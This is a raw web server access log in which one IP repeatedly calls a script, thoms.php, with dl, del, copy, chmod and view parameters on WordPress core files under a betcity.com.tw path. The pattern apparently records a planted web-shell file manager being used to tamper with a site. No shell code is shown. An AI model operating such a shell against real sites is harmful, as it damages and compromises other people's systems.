45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /thoms.php?dl=class-requests.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-rss.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-rss.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /betcity.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /betcity.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 200 21754 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /thoms.php?chmod=template-canvas.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /betcity.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /thoms.php?del=media.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=media.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 200 14112 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /thoms.php?dl=class-snoopy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /betcity.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:08 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fshortcodes.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fshortcodes.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 200 18264 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?del=ms-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /betcity.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 200 63157 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 200 30515 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /betcity.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?chmod=l10n&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:09 -0400] "GET /thoms.php?dl=pluggable.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 200 12177 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 200 12764 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /betcity.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 200 13280 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59349 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /thoms.php?dl=class-wp-http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:10 -0400] "GET /thoms.php?del=class-wp-post.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-bindings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-bindings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?del=compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?chmod=block-patterns&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?del=admin-bar.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 200 44436 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 200 15802 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 200 13623 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:12 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 200 12931 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:11 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59459 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:12 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:12 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59394 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:12 -0400] "GET /betcity.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:12 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59391 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:12 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59308 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:12 -0400] "GET /thoms.php?del=option.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=option.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:12 -0400] "GET /thoms.php?del=query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 200 21061 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /betcity.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /thoms.php?del=ID3&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=ID3&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /betcity.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59458 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 200 12770 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:13 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /thoms.php?chmod=class-pop3.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /betcity.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /thoms.php?chmod=default-filters.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 200 21699 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /thoms.php?dl=compat-utf8.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /thoms.php?dl=date.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=date.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:14 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
